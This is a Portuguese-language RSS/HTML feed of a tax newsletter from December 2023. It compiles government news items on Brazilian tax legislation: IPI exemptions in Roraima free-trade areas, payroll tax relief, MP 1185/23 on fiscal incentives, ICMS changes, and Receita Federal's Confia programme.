	A Comissão de Desenvolvimento Regional e Turismo (CDR) aprovou na terça-feira (12) projeto que isenta carros, perfumes e bebidas alcoólicas do pagamento dos Impostos de Importação e sobre Produtos Industrializados (IPI) nas áreas de livre comércio de Boa Vista e de Bonfim (RR). A medida também poderá beneficiar as áreas de livre comércio de Macapá e Santana (AP). Do senador Dr. Hiran (PP-RR), o PL 4.622/2023 foi relatado pelo senador Mecias de Jesus (Republicanos-RR) e segue para decisão final da Comissão de Assuntos Econômicos (CAE). </p>
<p>
	O projeto altera a Lei 8.256, de 1991, que instituiu essas áreas de livre comércio (ALCBv e ALCMS). Com a exclusão de impostos de automóveis de passageiros, bebidas alcoólicas e perfumes, apenas armas, munições e fumo e seus derivados seguirão sem isenção ao entrarem nessas áreas.</p>
<p>
	De acordo com o autor, o comércio de bebidas, perfumes e automóveis pode, de fato, ampliar as oportunidades de geração de emprego e renda nas áreas de livre comércio do estado, especialmente tendo em vista a distância que o separa do centro econômico do país e sua relativa proximidade da Venezuela e da Guiana.</p>
<p>
	—Nós temos áreas de tributação diferenciada tanto do lado da Venezuela quanto do lado da Guiana. As pessoas vão à área de livre comércio lá do Bonfim e compram uma série de produtos e mercadorias, mas quando querem comprar um perfume elas compram na Guiana ou vão para a Zona Franca de Manaus. A mesma coisa em relação a automóveis — disse  Dr. Hiran durante a reunião.</p>
<p>
	Mecias concordou com os argumentos de Dr. Hiran e acrescenta que o projeto favorece a preservação da Amazônia. Ele apresentou parecer favorável na CDR e afirmou que a medida também beneficiará a área de livre comércio de Macapá e Santana, porque as regras de criação dessa área estão vinculadas à Lei que beneficiou Boa Vista e de Bonfim.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Transporte de combustível em tanque extra não terá adicional de periculosidade  </h1>
<div class="itemContent">
<p>
	Em sessão nesta quinta-feira (14), o Congresso Nacional rejeitou veto total ao Projeto de Lei 1.949/2021, que prevê exclusão do pagamento de adicional de periculosidade a motoristas de veículos com tanque suplementar de combustível (VET 34/2023). A matéria será encaminhada à promulgação.</p>
<p>
	De autoria da Câmara dos Deputados, o projeto recebeu parecer favorável do relator na Comissão de Serviços de Infraestrutura (CI), senador Carlos Viana (Podemos-MG). Em outubro, a matéria foi aprovada em Plenário e seguiu para sanção presidencial.</p>
<p>
	O projeto — que acresce dispositivo à Consolidação das Leis do Trabalho (CLT — Decreto-Lei 5.452, de 1943) — exclui do pagamento de adicional de periculosidade feito a motoristas o transporte de combustível, em tanques originais de fábrica e suplementares, para uso do próprio veículo de carga, de transporte coletivo de passageiros, de máquinas e de equipamentos.</p>
<p>
	Ao vetar o projeto, o Executivo alegou que a proposição legislativa contraria o interesse público, pois estabeleceria, em lei, hipóteses de descaracterização de periculosidade das atividades e operações sem indicar, de maneira objetiva, critérios e parâmetros para as quantidades de inflamáveis líquidos ou gasosos liquefeitos que possam ser transportadas de forma a garantir a proteção e a segurança dos trabalhadores do setor de transporte de cargas e de passageiros, em desacordo com o disposto na legislação trabalhista.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Vai à CAE fim de ICMS em bandeiras tarifárias de energia</h1>
<div class="itemContent">
<p>
	A Comissão de Infraestrutura (CI) aprovou na terça-feira (12) projeto que retira a cobrança do ICMS sobre adicionais na conta de energia elétrica quando há bandeira tarifária. O Projeto de Lei Complementar (PLP) 111/2022, do deputado federal Fabio Garcia Câmara, recebeu parecer favorável do relator, senador Eduardo Braga (MDB-AM), com uma emenda de redação. Agora, o texto será analisado pela Comissão de Assuntos Econômicos (CAE).</p>
<p>
	Segundo Braga, as bandeiras tarifárias cobram um valor adicional do consumidor de energia elétrica em razão de situações que dificultam a normalidade do serviço, como chuvas baixas ou deficiência nas obras do setor. Na avaliação do senador, não é justo cobrar imposto nessas situações:</p>
<p>
	— Estamos tributando a falta de planejamento, a escassez de chuvas e o atraso de obras. E, com isso, oneramos milhares de famílias brasileiras que não deram causa a esses fatos (&#8230;) Cumpre esclarecer que o projeto não interfere na arrecadação planejada de tributos do governo federal e dos governos estaduais e municipais, já que estes continuarão cobrando seus tributos sobre a tarifa regular de energia.</p>
<p>
	Bandeiras</p>
<p>
	Atualmente, três bandeiras tarifárias determinam a cobrança dessas taxas. A primeira, de cor verde, sinaliza condições de produção elétrica favoráveis, ou seja, sem cobrança extra.</p>
<p>
	Já as outras duas bandeiras, amarela e vermelha, são fixadas em situações de escassez nas hidrelétricas e determinam aumento do valor cobrado. Nesse cenário, as termelétricas são ativadas. A operação delas é mais cara e, por isso, os custos não são cobertos pelas tarifas regulares estabelecidas pela Agência Nacional de Energia Elétrica (Aneel). Nestes casos, o custo é repassado aos contribuintes.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Congresso derruba veto à desoneração da folha de pagamento para 17 setores da economia </h1>
<div class="itemContent">
<p>
	O Congresso Nacional rejeitou o veto do presidente da República, Luiz Inácio Lula da Silva, ao projeto de lei que prorroga a desoneração da folha de pagamento para 17 setores da economia. O texto, que havia sido vetado integralmente, será  agora promulgado como lei.</p>
<p>
	O benefício acabaria em 31 de dezembro de 2023 e será prorrogado até 31 de dezembro de 2027, como previa o Projeto de Lei 334/23. A renúncia com a desoneração no setor privado é estimada pelo Ministério da Fazenda em cerca de R$ 9,4 bilhões.</p>
<p>
	Com a desoneração, as empresas beneficiadas podem optar pelo pagamento das contribuições sociais sobre a receita bruta com alíquotas de 1% a 4,5% em vez de pagar 20% de INSS relativo aos empregados pela Consolidação das Leis do Trabalho (CLT).</p>
<p>
	No Senado Federal, foram 60 votos pela rejeição do veto e 13 a favor. Na Câmara dos Deputados, houve 78 votos a favor do veto e 378 por sua rejeição.</p>
<p>
	Municípios<br />
	Outro ponto do projeto da desoneração que vai virar lei diminui, reduz de 20% para 8% a alíquota da contribuição previdenciária sobre a folha dos municípios com população de até 142.632 habitantes.</p>
<p>
	A medida beneficia 5.300 municípios, de acordo com a Confederação Nacional dos Municípios.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
</p></div>
<hr>
<h1>Comissão mista aprova relatório da MP que altera a tributação de incentivos fiscais</h1>
<div class="itemContent">
<p>
	A comissão mista da medida provisória que regulamenta a isenção tributária para a subvenção de investimentos (MP 1185/23) aprovou nesta quinta-feira (14) o relatório do deputado Luiz Fernando Faria (PSD-MG). Ele foi favorável à iniciativa, que tem o potencial de aumentar em R$ 35 bilhões a arrecadação do governo em 2024.</p>
<p>
	A MP permite a tributação, com impostos federais, das subvenções do ICMS concedidas pelos estados às empresas. Pela proposta, os créditos apurados a partir de subvenções para estímulo à implantação ou expansão de empresas poderão ser isentos de tributação. Os demais deverão ser incluídos na base de cálculo do Imposto de Renda da Pessoa Jurídica (IRPJ) e da Contribuição Social sobre o Lucro Líquido (CSLL).</p>
<p>
	O parecer do deputado mantém grande parte da versão original, mas estende os benefícios da medida provisória para investimentos no comércio, dentre outras mudanças. Após o aval do colegiado, a proposta seguirá para análise do Plenário da Câmara.</p>
<p>
	Antes da votação, alguns parlamentares pediram a suspensão da reunião com a justificativa de que uma sessão do Congresso ocorria em simultâneo à do colegiado, o que, segundo eles, estava em desacordo com o regimento da Casa. No entanto, consultado pelo presidente do colegiado, senador Rogério Carvalho, o presidente de Congresso, Rodrigo Pacheco, decidiu pela continuidade da reunião, como ocorre nas deliberações da Comissão Mista de Orçamento.</p>
<p>
	Considerado um dos pontos mais polêmicos do relatório, a retroatividade da cobrança do imposto devido pelas empresas foi mantida pelo relator, ainda que seja previsto na MP um desconto para as empresas que aderirem a autorregularização.</p>
<p>
	Para o deputado Joaquim Passarinho (PL-PA), esse trecho do texto pode aumentar a judicialização. “Acho que o governo pensando em arrecadar coloca essa retroatividade, mas a discussão não é sobre se o abatimento é de 80%, 60% ou 40%, a discussão é sobre se isso é devido ou não. Na nossa opinião, as empresas não devem e para reconhecer o abatimento você teria de reconhecer a dívida”, argumentou o parlamentar.</p>
<p>
	Renúncia fiscal<br />
	Por sua vez, o deputado Merlong Solano (PT-PI) disse que a medida promove revisão das renúncias tributárias que, segundo ele, permite a &#8220;poucas empresas se livrarem das obrigações cidadãs de pagar tributo&#8221;.</p>
<p>
	&#8220;Esta correção é uma  exigência da Constituição Federal que, por meio da Emenda Constitucional 109, determina a progressiva redução dos incentivos fiscais estabelecendo que até 2028 nós cheguemos a no máximo a 2% do PIB em renúncia, o que atualmente gira em torno de 4,5% do PIB&#8221;, defendeu o deputado.</p>
<p>
	Contrário à medida, o deputado Luiz Carlos Hauly (Podemos-PR), reforçou que a MP vai gerar judicialização, uma vez que, conforme ele, a regra de tributação de incentivos fiscais que se pretende alterar é de competência dos estados. &#8220;A renúncia fiscal é dos estados, não há nenhuma renúncia fiscal até aqui do governo federal, o que existe é uma vontade do governo federal antiga de querer tributar algo que não é tributável&#8221;, disse.</p>
<p>
	Veja a seguir as principais medidas do projeto de lei de conversão:</p>
<p>
	&#8211; Fixação de prazo de até 30 dias para deliberação sobre a habilitação da empresa perante a Receita Federal, considerando-se deferido o pedido após esse prazo sem que a administração tributária se manifeste. “Na MP original, não se definia este prazo. O empresário aderia e não tinha um prazo para a Receita dizer se estava apto ou não”, explicou Luiz Fernando Faria.</p>
<p>
	&#8211; Exclusão da data de 31 de dezembro de 2028 como limite para a apuração do crédito fiscal pretendido, visto que a proposta pretende alterar a forma de tributação das subvenções para investimento, ao optar pela concessão de crédito fiscal em substituição à dedução da base de cálculo de tributos federais, não havendo razão para que essa nova sistemática possua vigência temporária.</p>
<p>
	&#8211; Exclusão da exigência de que a apuração do crédito fiscal só poderá ser realizada após a conclusão da implantação ou expansão do empreendimento econômico, pois esse requisito adiaria de forma considerável o aproveitamento do benefício pelas empresas, com repercussões relevantes sobre seu fluxo de caixa. “A empresa antes tinha que terminar um empreendimento para obter o crédito. Agora o crédito pode ser obtido ao mesmo passo do empreendimento”, comentou o relator.</p>
<p>
	&#8211; Inclusão das receitas de subvenção de investimento relacionadas às despesas de locação e arrendamento de bens de capital entre aquelas que poderão ser computadas na apuração do crédito fiscal, uma vez que o benefício pretendido pela Medida Provisória deve ser neutro em relação às decisões operacionais das empresas, quer optem pela aquisição ou pela locação de ativos. “Quem fizer o empreendimento poderá locar o espaço em que o empreendimento será instalado”, afirmou.</p>
<p>
	&#8211; Simplificação do processo de aproveitamento do crédito fiscal, ao determinar que o pedido de ressarcimento e a declaração de compensação serão recepcionados após o reconhecimento das receitas de subvenção para fins de tributação — não mais a partir do ano-calendário seguinte. “Na MP original, esperava-se o empreendimento acabar e a compensação era no ano seguinte. Agora não, pode ser compensado no próprio ano”, disse o deputado.</p>
<p>
	&#8211; Redução do prazo de ressarcimento do crédito fiscal não compensado, de 48 para 24 meses.</p>
<p>
	&#8211; Inclusão da possibilidade de transação tributária para débitos tributários relativos às subvenções atualmente concedidas, para prevenção e redução do litígio sobre o tema e à transição para o novo tratamento tributário para essas subvenções;</p>
<p>
	&#8211; Esclarecimento de que a proposição não impedirá a fruição de incentivos fiscais federais concedidos por lei específica, especialmente os relativos às empresas instaladas nas regiões da Sudam e Sudene. “Deputados e senadores estavam preocupados que a MP não esclarecia que os benefícios da Sudene e da Sudam estavam preservados”, comentou Luiz Fernando Faria.</p>
<p>
	&#8211; Alteração de regras que disciplinam a apuração de juros sobre capital próprio, para aprimorar o tratamento dado a transações entre partes relacionadas. “A versão original era muito mais dura e conseguimos afrouxar. O novo texto foi bem aceito por todos os segmentos  econômicos, financeiros e empresariais”, destacou o relator.</p>
<p>
	&#8211; Adequação do tratamento tributário dado ao transporte regular rodoviário de passageiros para aproximá-lo do tratamento tributário dado pela legislação atual ao transporte aéreo regular de passageiros.</p>
<p>
	&#8211; Ajustes na legislação relativa à tributação das pessoas físicas residentes no País em relação aos lucros de entidades controladas no exterior; à tributação do reinvestimento realizado por Fundos de Investimento em Participação (FIPs); e à regra para desenquadramento da carteira de fundos de investimentos.</p>
<p>
	&#8211; Revogação de dispositivo que determina, para fins de apuração do lucro da exploração, a exclusão das subvenções para investimento, inclusive mediante isenção e redução de impostos, concedidas como estímulo à implantação ou expansão de empreendimentos econômicos, e as doações, feitas pelo poder público.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
</p></div>
<hr>
<h1>Câmara aprova medida provisória da tributação dos incentivos fiscais  </h1>
<div class="itemContent">
<p>
	A Câmara dos Deputados aprovou nesta sexta-feira (15) a Medida Provisória 1185/23, que muda a forma pela qual as empresas tratarão recursos de subvenções concedidas pelos entes federativos quando de sua contabilização para diminuir o pagamento de tributos federais. A matéria será enviada ao Senado.</p>
<p>
	A intenção do governo é acabar com a isenção de incidência de tributos federais sobre subvenções destinadas a custeio, mantendo apenas a possibilidade de apuração de um crédito fiscal relativo a subvenções para investimento. As novas normas terão efeito apenas a partir de 1º de janeiro de 2024.</p>
<p>
	A matéria foi aprovado na forma do substitutivo do relator, deputado Luiz Fernando Faria (PSD-MG), que amplia descontos para as empresas pagarem o passivo em razão de contenciosos envolvendo o assunto, para o qual existe decisão do Superior Tribunal de Justiça (STJ) que vincula a dedução a casos previstos na Lei Complementar 160/17 e na Lei 12.973/14, situações modificadas pela MP.</p>
<p>
	O relator também inclui restrições para o pagamento aos acionistas de juros sobre capital próprio, um mecanismo criado na década de 90 que pretendia estimular os investimentos por meio de aporte de capital, mas tem sido usado pelas empresas para pagar menos tributo sem esse objetivo de investir.</p>
<p>
	Como consequência das mudanças pretendidas pela MP, haverá novamente a diferenciação entre subvenção para custeio e para investimentos, limitando o crédito fiscal apenas a essa última. A regra havia mudado com a lei complementar, mas divergências de interpretação judicializaram o tema.</p>
<p>
	Assim, as subvenções concedidas pela União, por estados ou municípios, como aquelas em relação ao ICMS, deverão entrar na base de cálculo de tributos como o Imposto sobre a Renda da Pessoa Jurídica (IRPJ), a Contribuição Social sobre o Lucro Líquido (CSLL), o PIS e a Cofins.</p>
<p>
	Na nova sistemática, quando se tratar de uma subvenção para investimentos, a empresa poderá apurar um crédito fiscal a ser usado para compensar tributos federais ou para pedir ressarcimento em dinheiro.</p>
<p>
	A sistemática atual beneficia grandes companhias que pagam o imposto com base no lucro real, concentrando 95% do benefício em apenas 393 empresas, que pagam menos impostos tanto para os estados quanto para o governo federal.</p>
<p>
	Dados do Ministério da Fazenda indicam impacto acumulado projetado de R$ 250 bilhões em 2024, dos quais R$ 35 bi somente no próximo ano.</p>
<p>
	Contrapartida<br />
	Para controlar o tipo de investimento, a MP determina o cumprimento de requisitos de habilitação: ato de concessão do benefício editado anteriormente à data de implantação ou expansão do empreendimento; e ato que estabeleça, expressamente, condições e contrapartidas relativas ao empreendimento.</p>
<p>
	Segundo o parecer, não apenas a produção de bens e serviços serão beneficiados, mas também o comércio deles, aplicando-se a empreendimento novo no território ofertante da subvenção ou a expansão de um já existente.</p>
<p>
	A habilitação será indeferida pela Receita Federal se a empresa não atender aos requisitos ou cancelada se deixar de atendê-los. Por outro lado, se não houver resposta sobre a habilitação em 30 dias, o pedido será considerado aprovado.</p>
<p>
	Sudam e Sudene<br />
	No entanto, o texto deixa explícito que a mudança não impede o uso de incentivos fiscais concedidos por lei específica relativos a tributos federais, como os de projetos de desenvolvimento regional nas áreas da Superintendência de Desenvolvimento da Amazônia (Sudam) e da Superintendência de Desenvolvimento do Nordeste (Sudene) ou aqueles ligados à Zona Franca de Manaus (ZFM).</p>
<p>
	Crédito fiscal<br />
	Para apurar o crédito fiscal, calculado com a aplicação da alíquota de 25% relativa ao IRPJ sobre as receitas de subvenção, a empresa deverá seguir algumas restrições.</p>
<p>
	As receitas deverão estar relacionadas à implantação ou à expansão do empreendimento econômico e ser reconhecidas após a conclusão da implantação ou expansão do negócio e depois do pedido de habilitação para obter o crédito fiscal.</p>
<p>
	Entretanto, não poderão entrar as receitas:</p>
<p>
	&#8211; que superem a subvenção obtida;</p>
<p>
	&#8211; de incentivos do IRPJ; e</p>
<p>
	&#8211; o próprio crédito fiscal calculado;</p>
<p>
	Compensação<br />
	Quando quiser compensar o crédito assim obtido com impostos a pagar junto à Receita Federal, a empresa deverá entrar com um pedido de compensação ou ressarcimento após o reconhecimento das receitas da subvenção.</p>
<p>
	No caso de ressarcimento, a Receita deverá realizá-lo no 24º mês do pedido. Já o valor do crédito fiscal não será computado na base de cálculo do IRPJ, da CSLL, do PIS e da Cofins.</p>
<p>
	Reserva de lucros<br />
	Na sistemática vigente, as empresas podem registrar os valores da subvenção obtida em uma reserva de lucros especial chamada de reserva de incentivos fiscais, que pode ser utilizada para aumentar o capital social da empresa ou absorver prejuízos.</p>
<p>
	Com a MP, esse estoque de valores da reserva passará a ser tributado se a empresa aumentar o capital social e posteriormente reduzi-lo com restituição de capital aos sócios. Outro caso de tributação será a redução artificial do capital social nos cinco anos anteriores à data de recebimento da subvenção, com posterior capitalização com o valor da subvenção recebida.</p>
<p>
	Lucro da exploração<br />
	Para determinadas atividades empresariais incentivadas pela legislação (Decreto-lei 1.598/77), o texto acaba com a permissão para excluir da base de cálculo do IRPJ as subvenções para investimento, inclusive por meio de isenção e redução de impostos, concedidas como estímulo à implantação ou expansão de empreendimentos econômicos.</p>
<p>
	Passivo acumulado<br />
	O texto de Luiz Fernando Faria traz ainda regras para a regularização de passivos relacionados ao assunto, seja no âmbito administrativo ou judicial.</p>
<p>
	Se o contribuinte aderir à transação tributária especial proposta pelo Ministério da Fazenda, estará reconhecendo as normas da futura lei, especialmente quanto às condições para habilitação e aos limites de aproveitamento do crédito fiscal, sob pena de rescisão da transação. Nesse caso, os débitos voltariam para a esfera de questionamento (administrativa ou judicial).</p>
<p>
	No caso de créditos inscritos em dívida ativa ou objeto de ação judicial, de recurso administrativo ou de embargos à execução fiscal, a transação contemplará os processos pendentes de julgamento definitivo até o dia 31 de maio de 2024.</p>
<p>
	Quem aderir e decidir pagar em dinheiro com maior desconto (80 % sobre a dívida consolidada), poderá fazê-lo em 12 parcelas mensais.</p>
<p>
	Um parcelamento mais longo será possível com pagamento de 5% do consolidado, sem reduções e em cinco vezes mensais, e o restante dividido em até 60 parcelas mensais, com redução de 50% do valor remanescente da dívida.</p>
<p>
	Caso opte por parcelar o valor remanescente em até 84 parcelas mensais, a redução do valor remanescente será de 35%.</p>
<p>
	Débitos não lançados<br />
	Para os débitos tributários apurados e ainda não lançados, a MP permite o uso da autorregularização pelo contribuinte antes do lançamento de ofício pela Receita.</p>
<p>
	As condições de descontos e prazos são as mesmas para a dívida em contestação e a autorregularização implica confissão irrevogável e irretratável dos débitos indicados.</p>
<p>
	O não pagamento por meio da autorregularização ou o inadimplemento de qualquer das parcelas previstas resultará na cobrança do crédito tributário pelo seu valor originário acrescido dos acréscimos legais, abatidos eventuais pagamentos realizados.</p>
<p>
	Juros sobre capital<br />
	Os juros sobre capital próprio (JCP) são uma forma de distribuição de lucro bastante comum entre algumas empresas de capital aberto, pois a legislação permite considerá-los como despesa dedutível da base de cálculo do IRPJ, diminuindo o valor a pagar ao Fisco.</p>
<p>
	Por meio do Projeto de Lei 4258/23, o governo pretendia acabar com seu uso. Um meio termo proposto pelo relator em seu parecer para a MP 1185/23 prevê a restrição dos mecanismos a serem usados para o pagamento dos JCP.</p>
<p>
	Com vigência a partir de 1º de janeiro de 2024, o cálculo desses juros poderá ser feito apenas sobre o capital social integralizado, ou seja, efetivamente aportado na empresa.</p>
<p>
	Quanto às reservas de capital, que são uma espécie de “poupança” mantida pela empresa para uso em situações de emergência, somente poderão ser usadas para calcular os JCP aquelas reservas constituídas pelo ágio entre o preço de emissão das ações e o valor nominal ou aquelas formadas na constituição da companhia se o valor nominal não for fixado.</p>
<p>
	Aumento de patrimônio líquido que não envolva o ingresso efetivo de recursos na pessoa jurídica por meio de atos societários entre partes dependentes também não poderá ser computado na distribuição de juros sobre capital.</p>
<p>
	De igual forma, não poderão entrar na base de cálculo desses juros as reservas de capital formadas com lucro líquido decorrente de doações ou subvenções governamentais para investimentos.</p>
<p>
	Transporte de passageiros<br />
	Tema novo incluído pelo relator no texto da MP é a concessão de crédito presumido de PIS/Cofins para empresas de transporte rodoviário intermunicipal e interestadual de passageiros, exceto o metropolitano.</p>
<p>
	O benefício valerá de 1º de janeiro de 2024 a 31 de dezembro de 2026 e corresponderá a um percentual do valor obtido com a aplicação das alíquotas desses tributos sobre a receita com o serviço:</p>
<p>
	&#8211; 66,67% do apurado entre 1º de janeiro e 31 de dezembro de 2024; e</p>
<p>
	&#8211; 50% de 1º de janeiro de 2025 a 31 de dezembro de 2026</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
</p></div>
<hr>
<h1>ICMS/SC: Nova Lei do ICMS do querosene deve ampliar oferta de voos em SC</h1>
<div class="itemContent">
<p>
	A nova lei que reduz a alíquota de ICMS do querosene de aviação deve ampliar a oferta de voos dentro do estado de Santa Catarina. O texto, proposto pelo governador Jorginho Mello, foi aprovado nesta quarta-feira, 13/12, pela Assembleia Legislativa. Pela proposta a tributação poderá variar dos atuais 17% até 1,5% conforme tabela criada com base em alguns critérios e metas atingidas pelas companhias aéreas.</p>
<p>
	A discussão sobre uma nova alíquota de ICMS sobre o querosene de aviação envolveu as secretarias estaduais de Portos, Aeroportos e Ferrovias (SPAF), da Fazenda, e a Bancada do Oeste. O objetivo principal é tornar o estado de Santa Catarina mais atrativo para a ampliação de voos entre os seus aeroportos e oferecer condições para que as empresas aéreas incluam o estado no aumento da malha aérea.</p>
<p>
	“É mais uma nova prova da nossa acertada decisão de criar a secretaria de Portos, Aeroportos e Ferrovias. É um setor que precisava de um olhar dedicado para fazer boas ideias virarem realidade”, disse o governador Jorginho Mello.</p>
<p>
	“Mantivemos contatos com as empresas aéreas para entender as necessidades do mercado e para cumprir uma determinação do governador Jorginho Mello que é a de ampliar a oferta de voos regionais no estado. Sabemos que o combustível representa 40% do custo das companhias e junto com a secretaria da Fazenda e os parlamentares construímos uma proposta que tornará o estado mais atraente para estas operações”, afirma o secretário de Portos, Aeroportos e Ferrovias, Beto Martins.</p>
<p>
	O secretário da Fazenda, Cleverson Siewert explica que o investimento em infraestrutura e mobilidade, com a participação ainda mais efetiva da aviação, é fundamental para incentivar o desenvolvimento econômico de Santa Catarina.</p>
<p>
	“Este projeto é resultado da construção conjunta do Governo do Estado com o Poder Legislativo. Consideramos estudos técnicos, financeiros e aspectos jurídicos para garantir a melhor redação possível e atender as demandas. Com a aprovação do projeto e o incentivo à aviação regional, vamos dar mais um passo para ampliar a oferta aeroviária em SC”, diz o secretário.</p>
<p>
	Pela proposta aprovada na Alesc a tributação de 1,5% será possível para empresas que tiverem operações em oito aeroportos, com oferta de quatro voos internacionais e 50 voos nacionais semanais e dois voos entre aeroportos localizados no estado. A redução varia conforme outras condições apresentadas na legislação, sempre baseada no número de aeroportos atendidos, voos e destinos internos entre cidades de Santa Catarina.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/SC
                        </p>
</p></div>
<hr>
<h1>ICMS/PI: A versão 3.00 do CT-e será extinta e perderá vigência em 31 de Janeiro de 2024</h1>
<div class="itemContent">
<p>
	A Coordenação Técnica do Encontro Nacional de Coordenadores e Administradores Tributários (ENCAT) alerta todos Transportadores e Embarcadores que a versão 3.00 do Conhecimento de Transporte Eletrônico (CT-e) será extinta e perderá vigência na data de 31 de Janeiro de 2024, em caráter IRREVOGÁVEL, devendo os sistemas de emissão de CT-e e os sistemas dos embarcadores estarem migrados para a versão 4.00, preferencialmente até dia 15 de dezembro de 2023, visando evitar dificuldades de última hora.</p>
<p>
	A versão 4.00 traz inúmeros benefícios operacionais para o sistema de emissão de CT-e, com novas funcionalidades e simplificação para os transportadores. Para os sistemas de embarcadores, a integração com a versão 4.00 não traz nenhuma dificuldade, considerando o layout do documento fiscal e seus campos.</p>
<p>
	Para melhores informações, acesse https://www.cte.fazenda.gov.br/portal/principal.aspx</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/PI
                        </p>
</p></div>
<hr>
<h1>ICMS/CE: Novos Códigos de Ajuste para Crédito Presumido e Outorgado</h1>
<div class="itemContent">
<p>
	A Secretaria da Fazenda do Estado do Ceará (Sefaz-CE) informa que foi publicada a Instrução Normativa nº 135/2023, que altera a Instrução Normativa nº 64/2018 e cria códigos de ajuste específicos para escrituração dos créditos presumidos e outorgados do ICMS.</p>
<p>
	Os contribuintes que possuem algum desses benefícios passam a ser obrigados a utilizar, a partir de 1º de janeiro de 2024, o código de ajuste específico adequado à sua situação, sendo vedado o uso de códigos genéricos como: Crédito Presumido ou Crédito Outros.</p>
<p>
	Os códigos de ajuste específicos de crédito presumido e outorgado estão disponíveis no Anexo Único da Instrução Normativa nº 64/2018, conforme link para consulta a seguir:</p>
<p>
	https://sefazlegis.sefaz.ce.gov.br/api/openFile?id=359a3120-1acb-4dd3-858e-da55f824ffd9</p>
<p>
	Em caso de dúvidas sobre a utilização dos códigos de ajuste, os contribuintes devem entrar em contato com a Célula de Documentos Fiscais (Cedot) pelo e-mail sped@sefaz.ce.gov.br.</p>
<p>	 </p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/CE
                        </p>
</p></div>
<hr>
<h1>ICMS/BA: Dispensa de obrigações Acessórias &#8211; DMA Bahia</h1>
<div class="itemContent">
<p>
	O governador do estado da Bahia através do Decreto nº 22.453 de 14 de Dezembro de 2023(DOE 15.12.2023), dispensou a partir de 01.01.2024, a entrega das espécies de Declarações Econômico-Fiscais indicadas a seguir:</p>
<p>
	 &#8211; Declaração e Apuração Mensal do ICMS (DMA);<br />
	 &#8211; Cédula Suplementar da Declaração e Apuração Mensal do ICMS (CS-DMA);<br />
	 &#8211; Declaração da Movimentação de Produtos com ICMS Diferido (DM</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                LegisWeb Consultoria
                        </p>
</p></div>
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		<title>Boletim Sibrax 17/12</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 17 Dec 2023 09:00:04 +0000</pubDate>
				<category><![CDATA[Admin Clinica]]></category>
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					<description><![CDATA[<p>Receita Federal regulamenta fase piloto do Programa Confia A Receita Federal regulamentou hoje (14/12) o funcionamento da fase piloto do Programa de Conformidade Cooperativa Fiscal (Confia.) A medida está prevista na Portaria RFB nº 387/2023, publicada no Diário Oficial da União e está alinhada à visão institucional de uma administração tributária voltada à conformidade e à [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<h1>Receita Federal regulamenta fase piloto do Programa Confia</h1>
<div class="itemContent">
<p>
	A Receita Federal regulamentou hoje (14/12) o funcionamento da fase piloto do Programa de Conformidade Cooperativa Fiscal (Confia.) A medida está prevista na Portaria RFB nº 387/2023, publicada no Diário Oficial da União e está alinhada à visão institucional de uma administração tributária voltada à conformidade e à orientação ao contribuinte.</p>
<p>
	O programa Confia tem como objetivo estabelecer o relacionamento cooperativo, fundamentado na transparência e na confiança mútua, entre o Fisco e os contribuintes participantes.</p>
<p>
	Nessa nova fase de implantação do programa os principais objetivos são o aperfeiçoamento do relacionamento cooperativo, fundamentado na confiança mútua entre a RFB e os contribuintes selecionados, bem como o aprimoramento dos processos de trabalho em formato cooperativo.</p>
<p>
	O piloto expandirá a participação de grandes empresas que estejam sujeitas ao acompanhamento especial da RFB, observados os critérios de Receita Bruta maior ou igual a R$ 2.000.000.000,00 (dois bilhões de reais) e ter declarado débito total mínimo de R$ 100.000.000,00 (cem milhões de reais), no ano-calendário de 2022, o que deve abranger um universo de cerca de 1.100 empresas.</p>
<p>
	Evento marca lançamento do piloto</p>
<p>
	A Receita Federal realizou hoje (14/12) em São Paulo, evento de lançamento do piloto do Confia. A cerimônia aconteceu no Centro das Indústrias do Estado de São Paulo (Ciesp) e contou com a presença de representantes das empresas integrantes do Fórum de Diálogo Confia e de empresas interessadas em aderir ao Programa Confia, além de membros da academia e advogados tributaristas.</p>
<p>
	O secretário da Receita Federal, Robinson Barreirinhas, que participou por videoconferência da abertura, salientou que o Confia representa todo um esforço de mudança no relacionamento da Receita Federal com os contribuintes brasileiros. “O antagonismo está absolutamente ultrapassado, não funciona. A Receita moderna é aquela que orienta o bom contribuinte, que traz ele para próximo de si, que permite que o contribuinte confie no fisco para que ele possa se abrir sem receio dessa abertura e desse diálogo”, disse.</p>
<p>
	Clique aqui para mais informações sobre o Programa Confia</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Receita Federal
                        </p>
</p></div>
<hr>
<h1>Comitê Gestor do Simples Nacional atualiza dispositivos da Resolução CGSN nº 140, de 2018 &#8211; 15/12/2023</h1>
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<p>
	O Comitê Gestor do Simples Nacional (CGSN) aprovou, em reunião presencial realizada na manhã de quarta-feira (13/12), a Resolução CGSN nº 174, de 12 de dezembro de 2023, que realiza as seguintes alterações na Resolução CGSN nº 140, de 2018:</p>
<p>
	Atualização da regra de retenção na fonte de Imposto Sobre Serviços de Qualquer Natureza &#8211; ISS de optantes pelo Simples Nacional, prevista no art. 27, com o intuito de compatibilizar o texto atualmente em vigor às Leis Complementares nº 116, de 31 de julho de 2003, que dispõe sobre o ISS, e nº 123, de 14 de dezembro de 2006, que institui o Estatuto Nacional da ME e da EPP.</p>
<p>
	Atualização dos percentuais de multas aplicáveis às penalidades decorrentes do descumprimento de obrigações tributárias principais no âmbito do Simples Nacional em decorrência da publicação da Lei nº 14.689, de 20 de setembro de 2023. Assim como foram reproduzidos os conceitos de sonegação, fraude, conluio e reincidência previstos na Lei nº 4.502, de 30 de novembro de 1964, para a melhor compreensão do intérprete.</p>
<p>
